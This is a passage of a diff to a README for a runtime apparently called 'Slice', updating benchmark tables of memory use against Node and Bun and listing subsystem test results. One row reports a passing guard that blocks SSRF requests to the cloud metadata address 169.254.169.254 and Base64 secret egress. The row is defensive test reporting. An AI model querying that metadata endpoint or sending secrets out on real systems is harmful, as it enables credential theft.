(49.61 MB) | 72,724 KB (71.02 MB) | **5.28x less than Node / 2.17x less than Bun** | -| **App 21: RFC 6455 WS + Sec** | **14,080 KB (13.75 MB)** | 31,860 KB (31.11 MB) | 50,564 KB (49.38 MB) | 95,236 KB (93.00 MB) | **6.76x less than Node / 2.26x less than Bun** | -| **App 22: Workers + Sockets** | **22,144 KB (21.63 MB)** | 40,480 KB (39.53 MB) | 63,880 KB (62.38 MB) | 92,416 KB (90.25 MB) | **4.17x less than Node / 1.83x less than Bun** | -| **App 23: Pure-Rust WASM** | **19,072 KB (18.63 MB)** | 30,848 KB (30.13 MB) | 48,792 KB (47.65 MB) | 80,528 KB (78.64 MB) | **4.22x less than Node / 1.62x less than Bun** | -| **FW 1: Hono v4 Microservice** | **15,360 KB (15.00 MB)** | 31,084 KB (30.36 MB) | 49,664 KB (48.50 MB) | 89,376 KB (87.28 MB) | **5.82x less than Node / 2.02x less than Bun** | -| **FW 2: itty-router + UnJS** | **14,336 KB (14.00 MB)** | 31,872 KB (31.13 MB) | 48,288 KB (47.16 MB) | 87,436 KB (85.39 MB) | **6.10x less than Node / 2.22x less than Bun** | -| **App 24: WASM + SSR** | **13,832 KB (13.51 MB)** | 32,512 KB (31.75 MB) | 48,528 KB (47.39 MB) | 81,024 KB (79.13 MB) | **5.86x less than Node / 2.35x less than Bun** | -| **FW 3: Express node:http** | **15,488 KB (15.13 MB)** | 33,152 KB (32.38 MB) | 47,088 KB (45.98 MB) | 80,144 KB (78.27 MB) | **5.17x less than Node / 2.14x less than Bun** | -| **01-tot-autonomous-sre-agent** | **20,992 KB (20.50 MB)** | 31,104 KB (30.38 MB) | 53,228 KB (51.98 MB) | 83,588 KB (81.63 MB) | **3.98x less than Node / 1.48x less than Bun** | -| **02-mcp-code-mode-orchestrator** | **18,552 KB (18.12 MB)** | 28,288 KB (27.63 MB) | 46,784 KB (45.69 MB) | 80,776 KB (78.88 MB) | **4.35x less than Node / 1.52x less than Bun** | -| **03-multi-tenant-saas-plugin-mesh** | **15,104 KB (14.75 MB)** | 26,752 KB (26.13 MB) | 49,484 KB (48.32 MB) | 88,456 KB (86.38 MB) | **5.86x less than Node / 1.77x less than Bun** | -| **04-wasm-zero-trust-cdr-pipeline** | **20,608 KB (20.13 MB)** | 31,360 KB (30.63 MB) | 49,912 KB (48.74 MB) | 80,260 KB (78.38 MB) | **3.89x less than Node / 1.52x less than Bun** | -| **05-time-travel-chaos-fuzzer-payments** | **15,232 KB (14.88 MB)** | 29,440 KB (28.75 MB) | 49,488 KB (48.33 MB) | 81,444 KB (79.54 MB) | **5.35x less than Node / 1.93x less than Bun** | -| **FW 4: SvelteKit 3 + Svelte 5** | **21,632 KB (21.13 MB)** | 41,216 KB (40.25 MB) | 56,580 KB (55.25 MB) | 85,536 KB (83.53 MB) | **3.95x less than Node / 1.91x less than Bun** | +| **App 2: NPM semver+ms+ini** | **14,328 KB (13.99 MB)** | 30,080 KB (29.38 MB) | 47,056 KB (45.95 MB) | 71,580 KB (69.90 MB) | **5.00x less than Node / 2.10x less than Bun** | +| **App 6: Telemetry + Flatted** | **14,208 KB (13.88 MB)** | 29,952 KB (29.25 MB) | 50,416 KB (49.23 MB) | 73,116 KB (71.40 MB) | **5.15x less than Node / 2.11x less than Bun** | +| **App 21: RFC 6455 WS + Sec** | **14,464 KB (14.13 MB)** | 31,488 KB (30.75 MB) | 50,876 KB (49.68 MB) | 95,744 KB (93.50 MB) | **6.62x less than Node / 2.18x less than Bun** | +| **App 22: Workers + Sockets** | **22,656 KB (22.13 MB)** | 41,064 KB (40.10 MB) | 63,784 KB (62.29 MB) | 92,412 KB (90.25 MB) | **4.08x less than Node / 1.81x less than Bun** | +| **App 23: Pure-Rust WASM** | **19,200 KB (18.75 MB)** | 30,848 KB (30.13 MB) | 48,536 KB (47.40 MB) | 80,360 KB (78.48 MB) | **4.19x less than Node / 1.61x less than Bun** | +| **FW 1: Hono v4 Microservice** | **15,616 KB (15.25 MB)** | 29,068 KB (28.39 MB) | 49,784 KB (48.62 MB) | 89,120 KB (87.03 MB) | **5.71x less than Node / 1.86x less than Bun** | +| **FW 2: itty-router + UnJS** | **14,720 KB (14.38 MB)** | 32,000 KB (31.25 MB) | 48,508 KB (47.37 MB) | 87,564 KB (85.51 MB) | **5.95x less than Node / 2.17x less than Bun** | +| **App 24: WASM + SSR** | **14,080 KB (13.75 MB)** | 30,720 KB (30.00 MB) | 48,376 KB (47.24 MB) | 81,276 KB (79.37 MB) | **5.77x less than Node / 2.18x less than Bun** | +| **FW 3: Express node:http** | **15,744 KB (15.38 MB)** | 33,152 KB (32.38 MB) | 47,220 KB (46.11 MB) | 80,396 KB (78.51 MB) | **5.11x less than Node / 2.11x less than Bun** | +| **01-tot-autonomous-sre-agent** | **21,376 KB (20.88 MB)** | 31,360 KB (30.63 MB) | 53,228 KB (51.98 MB) | 85,768 KB (83.76 MB) | **4.01x less than Node / 1.47x less than Bun** | +| **02-mcp-code-mode-orchestrator** | **18,304 KB (17.88 MB)** | 28,160 KB (27.50 MB) | 46,804 KB (45.71 MB) | 83,076 KB (81.13 MB) | **4.54x less than Node / 1.54x less than Bun** | +| **03-multi-tenant-saas-plugin-mesh** | **15,104 KB (14.75 MB)** | 26,468 KB (25.85 MB) | 50,120 KB (48.95 MB) | 88,156 KB (86.09 MB) | **5.84x less than Node / 1.75x less than Bun** | +| **04-wasm-zero-trust-cdr-pipeline** | **20,480 KB (20.00 MB)** | 31,488 KB (30.75 MB) | 49,896 KB (48.73 MB) | 80,264 KB (78.38 MB) | **3.92x less than Node / 1.54x less than Bun** | +| **05-time-travel-chaos-fuzzer-payments** | **15,616 KB (15.25 MB)** | 29,184 KB (28.50 MB) | 49,656 KB (48.49 MB) | 81,560 KB (79.65 MB) | **5.22x less than Node / 1.87x less than Bun** | +| **FW 4: SvelteKit 3 + Svelte 5** | **22,272 KB (21.75 MB)** | 41,856 KB (40.88 MB) | 56,380 KB (55.06 MB) | 85,796 KB (83.79 MB) | **3.85x less than Node / 1.88x less than Bun** | --- @@ -105,9 +105,9 @@ Across all **33 real-world multi-file TypeScript applications, framework suites, | Subsystem / Benchmark | Measured Telemetry | Status | | :--- | :--- | :---: | -| **Sharded `Slice.kv` (`1,001` Get/Set/Incr Ops in Isolate)** | **`564.84 us`** total (`--warm`, `8,431 B` memory cage) | `PASS` | +| **Sharded `Slice.kv` (`1,001` Get/Set/Incr Ops in Isolate)** | **`572.39 us`** total (`--warm`, `8,431 B` memory cage) | `PASS` | | **Multi-Tenant `--tenant-dir` Zero-Downtime Hot-Swap** | Live atomic replacement of `tenant-alpha.cas` (`v1 -> v2-hot-swapped`) with isolated `Slice.kv` state | `PASS` | | **Deterministic Time-Travel Replay (`--deterministic=20261019`)** | 100% bit-for-bit identical PRNG (`Math.random`) & virtual clock (`Date.now`, `performance.now`) | `PASS` | -| **Tree-of-Thought AI Agent (`Slice.checkpoint` + 3 `evalSandbox` + `restore`)** | **`74.64 us`** total (`3.50 us` child sandbox) | `PASS` | +| **Tree-of-Thought AI Agent (`Slice.checkpoint` + 3 `evalSandbox` + `restore`)** | **`42.56 us`** total (`1.80 us` child sandbox) | `PASS` | | **Cloud Metadata SSRF (`169.254.169.254`) & Base64 Egress DLP Guard** | `SSRF_METADATA_BLOCKED` & `EGRESS_SECRET_LEAK_BLOCKED` deterministically trapped | `PASS` | | **Built-In Model Context Protocol Server (`slice mcp --smoke-test`)** | JSON-RPC 2.0 `initialize`, `tools/list`, `tools/call` verified over `stdio` | `PASS` |